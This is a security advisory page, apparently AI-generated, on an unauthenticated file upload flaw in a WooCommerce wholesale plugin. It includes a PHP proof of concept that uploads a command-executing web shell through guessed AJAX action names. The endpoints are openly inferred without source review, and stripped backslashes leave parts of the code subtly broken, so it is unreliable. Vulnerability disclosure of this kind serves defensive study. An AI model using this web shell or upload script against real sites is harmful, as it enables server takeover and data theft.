Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-27540: Woocommerce Wholesale Lead Capture <= 2.0.3.1 – Unauthenticated Arbitrary File Upload (woocommerce-wholesale-lead-capture)

Severity Critical (CVSS 9.8)
CWE 434
Vulnerable Version 2.0.3.1
Patched Version
Disclosed February 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27540 (metadata-based):
The WooCommerce Wholesale Lead Capture plugin contains an unauthenticated arbitrary file upload vulnerability in all versions up to and including 2.0.3.1. This flaw exists in a file upload handler that lacks proper file type validation. Attackers can exploit this to upload malicious files directly to the server, potentially leading to remote code execution. The CVSS 3.1 score of 9.8 (Critical) reflects the network-based, unauthenticated attack vector with high impact on confidentiality, integrity, and availability.

Atomic Edge research indicates the root cause is CWE-434: Unrestricted Upload of File with Dangerous Type. The vulnerability description confirms missing file type validation in an upload function. Without examining source code, we infer the plugin likely implements a file upload feature for lead capture data or attachments. This feature probably uses WordPress’s AJAX handler (`admin-ajax.php`) or a custom endpoint without proper capability checks or nonce verification. The absence of authentication requirements suggests the vulnerable endpoint is intentionally accessible to unauthenticated users, possibly for public lead submission. The plugin fails to validate file extensions, MIME types, or file content before moving uploaded files to a web-accessible directory.

Exploitation requires sending a multipart/form-data POST request containing a malicious file to the vulnerable endpoint. Attackers likely target `/wp-admin/admin-ajax.php` with an `action` parameter corresponding to the plugin’s upload handler. The action name may derive from the plugin slug, such as `wwlc_upload_file` or `wholesale_lead_capture_upload`. Alternatively, the plugin may expose a direct endpoint like `/wp-content/plugins/woocommerce-wholesale-lead-capture/upload.php`. The attacker uploads a file with a double extension (e.g., `shell.php.jpg`) or a pure `.php` file if the server executes PHP in upload directories. The payload could be a web shell like “. Successful upload provides a direct URL to the malicious file, enabling remote code execution.

Remediation requires implementing strict file upload validation. The patched version 2.0.3.2 likely added server-side file type verification using allowed extension lists and MIME type checking. Proper fixes also include storing uploaded files outside the web root or in directories with disabled script execution via `.htaccess` or `nginx` configuration. The plugin should enforce authentication and capability checks for upload functions, or at minimum implement WordPress nonce verification for public endpoints. Atomic Edge analysis recommends validating file content signatures in addition to extensions to prevent file type spoofing.

Successful exploitation grants attackers the ability to upload arbitrary files, including PHP web shells, to the target server. This directly leads to remote code execution with the web server’s permissions (typically `www-data` or `nobody`). Attackers can execute operating system commands, access databases, deface websites, install backdoors, or pivot to internal networks. The unauthenticated nature broadens the attack surface to any visitor. Compromise severity depends on server configuration and file upload directory permissions. Even without script execution, attackers could upload HTML files for phishing campaigns or large files to cause denial of service through disk consumption.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27540 - Woocommerce Wholesale Lead Capture <= 2.0.3.1 - Unauthenticated Arbitrary File Upload
<?php
/**
 * Proof of Concept for CVE-2026-27540
 * Assumptions based on CWE-434 and WordPress plugin patterns:
 * 1. The plugin uses WordPress AJAX (admin-ajax.php) for file uploads.
 * 2. The AJAX action name likely contains 'wwlc' or 'wholesale_lead_capture'.
 * 3. The endpoint accepts unauthenticated POST requests with multipart file data.
 * 4. No file type validation occurs server-side.
 */

$target_url = 'http://vulnerable-site.com';

// Common AJAX action names inferred from plugin slug
$possible_actions = [
    'wwlc_upload_file',
    'wholesale_lead_capture_upload',
    'wwlc_handle_upload',
    'wwlc_submit_lead',
    'wwlc_ajax_upload'
];

// Malicious PHP web shell payload
$php_payload = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>';
$temp_file = tempnam(sys_get_temp_dir(), 'wwlc_');
$shell_name = 'shell_' . bin2hex(random_bytes(4)) . '.php';
file_put_contents($temp_file, $php_payload);

foreach ($possible_actions as $action) {
    $ajax_url = $target_url . '/wp-admin/admin-ajax.php';
    
    $post_fields = [
        'action' => $action,
        'file' => new CURLFile($temp_file, 'application/x-php', $shell_name)
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && !empty($response)) {
        echo "[+] Potential success with action: $actionn";
        echo "[+] Response: $responsen";
        // Attempt to locate uploaded file path from response
        if (preg_match('/"url"s*:s*"([^"]+.php)/i', $response, $matches)) {
            echo "[+] Shell URL: " . $matches[1] . "n";
        }
        break;
    }
}

unlink($temp_file);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School